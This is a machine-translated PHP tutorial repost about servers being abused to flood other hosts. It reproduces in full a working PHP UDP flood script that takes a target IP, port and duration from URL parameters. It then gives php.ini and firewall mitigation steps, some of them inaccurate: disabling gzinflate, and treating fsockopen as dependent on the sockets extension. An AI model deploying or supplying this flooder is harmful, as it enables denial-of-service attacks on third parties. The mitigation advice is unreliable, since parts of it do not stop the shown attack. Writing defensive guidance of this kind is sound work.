php code to prevent users from using up the network bandwidth by using PHP code DOS

WBOY
Release: 2016-07-29 08:44:27
Original
861 people have browsed it

Use PHP code to call sockets and directly use the server's network to attack other IPs. Common codes are as follows:

Copy code The code is as follows:


$packets = 0;
$ip = $_GET['ip'] ;
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand
";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1 ){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $ packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>


Characteristics:
As soon as IIS is turned on, the server’s outgoing bandwidth is used up-----that is, the server keeps sending packets to others. This situation is different from being attacked by DDOS. DDOS keeps receiving a large number of data packets.
Solution Method:
Disable the above code:
Set in c:windowsphp.ini:
disable_functions =gzinflate;
Set the value in c:windowsphp.ini to Off
allow_url_fopen = Off
And:
;extension=php_sockets.dll
The ";" sign in front must be there, which means to restrict the use of sockets.dll
The "; sign" in front of it must be retained
Then restart IIS
If the above method still does not work, you can disable PHP extension testing in the allowed extensions in IIS .
In addition, for unencrypted PHP attack code, you can also use the following methods to deal with it:
1. In the IP policy or firewall, prohibit all UDP from being sent out
2. Use first-class information monitoring, SQL interception and URL interception In, intercept the keyword port=

The above introduces the PHP code to prevent users from using up the network bandwidth due to DOS using the PHP code, including the content of the PHP code. I hope it will be helpful to friends who are interested in PHP tutorials.

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source:php.cn
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